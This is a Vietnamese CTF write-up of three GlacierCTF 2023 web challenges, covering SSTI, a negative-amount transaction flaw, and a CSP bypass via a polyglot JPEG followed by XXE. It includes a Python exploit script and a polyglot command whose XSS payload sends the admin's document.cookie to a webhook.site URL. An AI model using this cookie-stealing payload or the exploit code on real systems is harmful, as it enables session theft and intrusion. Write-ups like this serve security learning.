---
# System prepended metadata

title: GlacierCTF2023

---

### My first Website
##### Description: ***I just created my first website! You can even do some calculations! Don't forget to check out my other projects!***
##### URL: https://myfirstsite.web.glacierctf.com
Có vẻ giống như một trang web cho phép chúng ta thực hiện tính toán đơn giản 

![image](https://hackmd.io/_uploads/S1CrEpWSp.png)

Theo lời tác giả là *check out my other projects* chúng ta hãy chú ý tới đường link projects đặt bên dưới: 
https://myfirstsite.web.glacierctf.com/projects


Nó dẫn chúng ta tới một trang web **404 not found** nhưng hãy chú ý đến dòng chứa ```/projects``` có vẻ giống SSTI : https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection

![image](https://hackmd.io/_uploads/r1vsHTZrp.png)
Mình đã test thử ngay lập tức và 

![image](https://hackmd.io/_uploads/BJr0rTWST.png)
Yes we're right!!! Bây giờ chỉ cần fuzzing xem nó đang sử dụng template nào thôi
![image](https://hackmd.io/_uploads/S1NOITbBp.png)
We have Jinja2 templates and get flag !!!

![image](https://hackmd.io/_uploads/rkt7wTbBa.png)


 
 
 
 
### Glacier Exchange
#### Description: ***We have launched a new revolutionary exchange tool, allowing you to trade on the market and hanging out with your rich friends in the Glacier Club. Only Billionaires can get in though. Can you help me hang out with lEon sMuk?***

#### Source: [glacier_exchange.zip](https://play.glacierctf.com/files/7a3c957ad4be44f49610bdc2a2a52406/glacier_exchange.zip?token=eyJ1c2VyX2lkIjo2NDYsInRlYW1faWQiOjM1NiwiZmlsZV9pZCI6OTB9.ZWROAA._NLxshgGlDqOS0isUUJgt2L-BiY)

##### URL: https://glacierexchange.web.glacierctf.com


![image](https://hackmd.io/_uploads/Bk4GJC-HT.png)
Trang web cung cấp cho chúng ta việc đổi đơn vị tiền này sang đơn vị tiến kia 
OK !!! I have 1000 Coins cashout, và mình sẽ đổi thử 1 coin cashout sang ascoin 

![image](https://hackmd.io/_uploads/HJQfgC-ST.png)

Đi sâu vào source code thì có vẻ ta cần đổi wallet.inGlacierClub() to true để obtain được flag 
```@app.route('/api/data/fetch/<path:coin>')
def fetch(coin: str):
    data = get_coin_price_from_api(coin)
    return jsonify(data)

app.route('/api/wallet/transaction', methods=['POST'])
def transaction():
    payload = request.json
    status = 0
    if "sourceCoin" in payload and "targetCoin" in payload and "balance" in payload:
        wallet = get_wallet_from_session()
        status = wallet.transaction(payload["sourceCoin"], payload["targetCoin"], float(payload["balance"]))
    return jsonify({
        "result": status
    })@

@app.route("/api/wallet/join_glacier_club", methods=["POST"])
def join_glacier_club():
    wallet = get_wallet_from_session()
    clubToken = False
    inClub = wallet.inGlacierClub()
    if inClub:
        f = open("/flag.txt")
        clubToken = f.read()
        f.close()
    return {
        "inClub": inClub,
        "clubToken": clubToken
    }

@app.route('/api/wallet/balances')
def get_balance():
    wallet = get_wallet_from_session()
    balances = wallet.getBalances()
    user_balances = []
    for name in balances:
        user_balances.append({
            "name": name,
            "value": balances[name]
        })
    return user_balances

@app.route('/api/fetch_coins')
def fetch_coins():
    return jsonify([
                {
                   ...
                },
            ])
```

Ở file src/wallet.py

``` 
import threading


class Wallet():
    def __init__(self) -> None:
        self.balances = {
            "cashout": 1000,
            "glaciercoin": 0,
            "ascoin": 0,
            "doge": 0,
            "gamestock": 0,
            "ycmi": 0,
            "smtl": 0
        }
        self.lock = threading.Lock();


    def getBalances(self):
        return self.balances
    
    def transaction(self, source, dest, amount):
        if source in self.balances and dest in self.balances:
            with self.lock:
                if self.balances[source] >= amount:
                    self.balances[source] -= amount
                    self.balances[dest] += amount
                    return 1
        return 0
    
    def inGlacierClub(self):
        with self.lock:
            for balance_name in self.balances:
                if balance_name == "cashout":
                    if self.balances[balance_name] < 1000000000:
                        return False
                else:
                    if self.balances[balance_name] != 0.0:
                        return False
            return True
```
Như vậy inClub thành True có vẻ ta cần có cashout >= 1000000000 và toàn bộ coin khác về giá trị 0.
Mình chú ý đến đoạn code này 
```
if self.balances[source] >= amount:
                    self.balances[source] -= amount
                    self.balances[dest] += amount
                    return 1
```
Điều đó có nghĩa là chúng ta có thể chuyển được giá trị âm vì ở source và dest ko có một hàm nào để check hay filter gì cả 
Yeah, overflow, right !!! 




Nếu ta đặt balance là -1e23000000000 và đổi cả source và dest là cashout coin thì điều gì sẽ xảy ra 

![image](https://hackmd.io/_uploads/SkI_QAZB6.png)


```
import requests

session = requests.session()

url = "https://glacierexchange.web.glacierctf.com:443/api/wallet/transaction"
json={"balance": "-1e230000000000000", "sourceCoin": "cashout", "targetCoin": "cashout"}
res = session.post(url, json=json)
print(res.text)

join_url = "https://glacierexchange.web.glacierctf.com:443/api/wallet/join_glacier_club"
res = session.post(join_url)
print(res.text)
```
![image](https://hackmd.io/_uploads/BkbmmCWrp.png)
Lúc này ta đã đạt được cashout là inf và các coin khác đều vẫn đạt giá trị 0 and we have flag !!!


#### Peak


##### Description: 
```
Within the heart of Austria's alpine mystery lies your next conquest. Ascend the highest peak, shrouded in whispers of past explorers, to uncover the flag.txt awaiting atop. Beware the silent guards that stand sentinel along the treacherous path, obstructing your ascent.

author: Chr0x6eOs

https://peak.web.glacierctf.com
```
##### Source: [Source](https://play.glacierctf.com/files/31f161b01cdc97678082238099a914b8/challenge.zip?token=eyJ1c2VyX2lkIjo2NDYsInRlYW1faWQiOjM1NiwiZmlsZV9pZCI6MTQ5fQ.ZWRThw.2ElQUXDrm2usa-uCkqSc9CfMH4g)

![image](https://hackmd.io/_uploads/Hkvq40ZS6.png)

Mô tả về mã nguồn là như sau:

![image](https://hackmd.io/_uploads/rkrjB0bH6.png)



Các tương tác với index.php của trang web sẽ liên quan đến các tập tin trong thư mục /pages.
Các tập tin trong thư mục /includes sẽ được bao gồm vào các tập tin khác nhau.
Các tập tin trong thư mục /actions sẽ được thực thi khi các chức năng như đăng nhập, đăng ký, đăng xuất, v.v., được thực hiện.
Tập tin admin.py trong thư mục admin-simulation xử lý việc đăng nhập với tài khoản 'admin' và quyền truy cập khi chúng ta gửi một liên hệ.
/ admin chỉ có thể truy cập khi bạn có vai trò quản trị viên; nếu không, bạn sẽ bị đăng xuất.
Và ở .htaccess:
```
# Disable PHP execution in this directory
php_flag engine off
```

Ở file/includes/config.php:
Chúng ta có thể thấy password admin, tuy nhiên có vẻ như nó đã bị hash encrypt

```
$commands = [
        'CREATE TABLE IF NOT EXISTS `users` (`id` INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, `username` varchar(255) NOT NULL UNIQUE, `password` varchar(255) NOT NULL, `role` varchar(255) NOT NULL default "user");',
        'CREATE TABLE IF NOT EXISTS `messages` (`id` INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, `title` varchar(255) NOT NULL, `content` varchar(512) NOT NULL, `file` varchar(512) NOT NULL default "", `created_at` timestamp default CURRENT_TIMESTAMP NOT NULL, `viewed` BOOLEAN DEFAULT 0, `user_id` INTEGER unsigned NOT NULL, FOREIGN KEY (`user_id`) REFERENCES users(`id`) ON DELETE CASCADE);',
        'INSERT INTO `users` (`username`, `password`, `role`) VALUES ("admin", "$2y$10$yerhXWb8EZR4MBHT0oOm2e1S2lTheH4zHOWqRIKTKEuVMyiL1Mtl6", "admin");'
        ];
```

Chúng ta hãy đi sâu hơi vào source code mình chú ý đến file contact.php


```
<?php
include_once "../includes/session.php";

function cleanup_old_files()
{
    $currentTimestamp = time();
    $uploadsDirectory = "../uploads";
    $files = scandir($uploadsDirectory);
    if(sizeof($files) > 0)
    {
        foreach ($files as $file) 
        {
            if ($file !== '.' && $file !== '..' && $file !== '.htaccess') 
            {
                $filePath = $uploadsDirectory . '/' . $file;
                if (is_file($filePath)) 
                {
                    $fileTimestamp = filemtime($filePath);
                    $timeDifference = $currentTimestamp - $fileTimestamp;
                    // Check if the file is older than 5 minutes (300 seconds)
                    if ($timeDifference > 300)
                        unlink($filePath);
                }
            }
        }
    }
}

try
{
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_SESSION['user']) && $_SESSION['user']['role'] !== "admin") 
    {        
        if(isset($_POST['title']) && isset($_POST['content']))
        {
            cleanup_old_files();

            $target_file = "";
            if(isset($_FILES['image']) && $_FILES['image']['name'] !== "")
            {
                $targetDirectory = '/uploads/';

                $timestamp = microtime(true);
                $timestampStr = str_replace('.', '', sprintf('%0.6f', $timestamp));
                
                $randomFilename = uniqid() . $timestampStr;
                $targetFile = ".." . $targetDirectory . $randomFilename;
                $imageFileType = strtolower(pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION));
                $allowedExtensions = ['jpg', 'jpeg', 'png'];

                $check = false;
                try
                {
                    $check = @getimagesize($_FILES['image']['tmp_name']);
                }
                catch(Exception $exx)
                {
                    throw new Exception("File is not a valid image!");
                }
                if ($check === false) 
                {
                    throw new Exception("File is not a valid image!");
                }
                if (!in_array($imageFileType, $allowedExtensions)) 
                {
                    throw new Exception("Invalid image file type. Allowed types: jpg, jpeg, png");
                }
                if (!move_uploaded_file($_FILES['image']['tmp_name'], $targetFile)) 
                {
                    throw new Exception("Error uploading the image! Try again! If this issue persists, contact a CTF admin!");
                }
                $target_file = $targetDirectory . $randomFilename;
            }

            $title = $_POST['title'];
            $content = $_POST['content'];
            $user_id = $_SESSION['user']['id'];
    
            $sql = $pdo->prepare("INSERT INTO messages (title, content, file, user_id) VALUES (:title, :content, :file, :user_id)");
            $sql->bindParam(':title', $title, PDO::PARAM_STR);
            $sql->bindParam(':content', $content, PDO::PARAM_STR);
            $sql->bindParam(':user_id', $user_id, PDO::PARAM_INT);
            $sql->bindParam(':file', $target_file, PDO::PARAM_STR);
    
            try 
            {
                $sql->execute();
            } 
            catch (PDOException $e) 
            {
                throw new Exception("Could not create request. Please try again! If this issue persists, contact a CTF admin!");
            }
            $_SESSION['success'] = "Message received! An admin will handle your request shortly. You can view your request <a name='message' href='/pages/view_message.php?id=" . $pdo->lastInsertId() ."'>here</a>";
        }
    }
}
catch(Exception $ex)
{
    $_SESSION['error'] = htmlentities($ex->getMessage());
}
header('Location: /pages/contact.php');


```



Đoạn code PHP trên thực hiện một số chức năng khi có yêu cầu POST từ form trên trang. Hãy xem xét từng phần một:

cleanup_old_files(): Hàm này được sử dụng để xóa các tệp trong thư mục /uploads có tuổi đời lớn hơn 5 phút.

Xử lý dữ liệu post:

Kiểm tra nếu có phiên đăng nhập và người dùng không phải là admin.
Kiểm tra xem tiêu đề và nội dung của bài đăng được gửi qua POST.
Gọi hàm cleanup_old_files() để xóa các tệp cũ trước khi tiếp tục.
Xử lý tệp ảnh (nếu có):

Tạo một tên tệp ảnh mới dựa trên thời gian và một số ngẫu nhiên để tránh trùng lặp tên tệp.
Kiểm tra xem tệp tải lên có phải là hình ảnh hợp lệ không (sử dụng hàm getimagesize và kiểm tra phần mở rộng).
Di chuyển tệp tải lên vào thư mục /uploads nếu tất cả các điều kiện hợp lệ.
Lưu dữ liệu vào cơ sở dữ liệu:

Lấy dữ liệu từ biểu mẫu POST (tiêu đề, nội dung, ID người dùng).
Chuẩn bị một truy vấn SQL để chèn thông tin này vào bảng 'messages' trong cơ sở dữ liệu.
Thực thi truy vấn SQL để thêm thông tin vào cơ sở dữ liệu.
Bắt và xử lý ngoại lệ:

Bắt lỗi nếu có lỗi xảy ra trong quá trình xử lý (ví dụ: lỗi trong quá trình tải tệp lên hoặc thêm dữ liệu vào cơ sở dữ liệu).
Nếu có lỗi, thông báo lỗi sẽ được lưu vào $_SESSION['error'].
Cuối cùng, sau khi xử lý, mã này sẽ chuyển hướng người dùng đến trang /pages/contact.php bằng cách sử dụng header('Location: /pages/contact.php').

Cuối cùng, người dùng được chuyển hướng đến trang "/pages/contact.php", bất kể việc gửi biểu mẫu thành công hay gặp lỗi. Thông báo phù hợp (thành công hoặc lỗi) sẽ được hiển thị trên trang được chuyển hướng dựa trên các biến phiên được thiết lập trước đó.
Hãy tập trung vào mã trong hai tệp tiếp theo:
Trong tệp /pages/view_message.php
```
<?php if (isset($message)): ?>
    <h1><?php echo htmlentities($message['title']);?></h1>
    <p>
        <?php echo $message['content']; ?>
        <?php if($message['file'] !== "") : ?>
            <div>
                <img name="image" src="<?php echo $message['file']?>">
            </div>
        <?php endif;?>
    <?php endif; ?>
</p>

```

Và trong tệp /includes/csp.php:

php
```
<?php
    header("Content-Security-policy: script-src 'self'");
?>
```
Vậy là, chúng ta có thể thấy một lỗ hổng XSS (Cross-Site Scripting) bypass Content Security Policy (CSP).

Giả sử chúng ta có phiên đăng nhập của admin, bước tiếp theo sẽ là gì?
Trong tệp /admin/map.php:

Chúng ta thấy: libxml_disable_entity_loader(false)

Ồ, có vẻ như bước tiếp theo có thể liên quan đến việc chèn XML External Entity (XXE).


Mình có ý tưởng:
Bước 1: Gửi a contact và admin sẽ đính kèm cho chúng ta session của admin tuy nhiên chúng ta cần bypass qua CSP
Bước 2: Khi lấy được admin session ta sẽ có thể trigger được lỗ hổng XXE như đã đề cập ở trên

Ok bắt đầu tiến hành nào, câu hỏi đầu tiên là chúng ta phải bypass CSP như thế nào

```
script-src: Đây là một chỉ thị điều khiển các nguồn mà scripts có thể được thực thi từ đó.
'self': Giá trị này hạn chế việc thực thi scripts chỉ đến cùng một nguồn gốc (tức là, scripts được lưu trữ trên cùng miền như trang web).

```
Hey, we can upload an image in contact: 

![image](https://hackmd.io/_uploads/r12SYAZH6.png)

[Bypass CSP via upload Polyglot JPEG](https://portswigger.net/research/bypassing-csp-using-polyglot-jpegs)
Chúng ta có thể chèn một đoạn payload XSS vào tệp JPEG sau đó upload lên. Điều này giúp vượt qua CSP và thực thi XSS

Mình sử dụng [tool](https://github.com/s-3ntinel/imgjs_polygloter) này 

```
./img_polygloter.py jpg --height 662 --width 266 --payload "document.location='https://webhook.site/2b07a131-de46-4153-beaf-406c2e5819a2?admin='+document.cookie" --output exploit.png
```


![image](https://hackmd.io/_uploads/BkEXpRbr6.png)

Hãy nhìn vào source file bước tiếp theo chúng ta sẽ update một đoạn XSS: 


![image](https://hackmd.io/_uploads/By28RRWSa.png)

```<script charset="ISO-8859-1" src="/uploads/link-your-img" </script>```


![image](https://hackmd.io/_uploads/B108kJGHT.png)
And we have admin panels

Bước theo có vẻ chúng ta sẽ thực thi XXE và

![image](https://hackmd.io/_uploads/Skf9JyGHa.png)

We have flag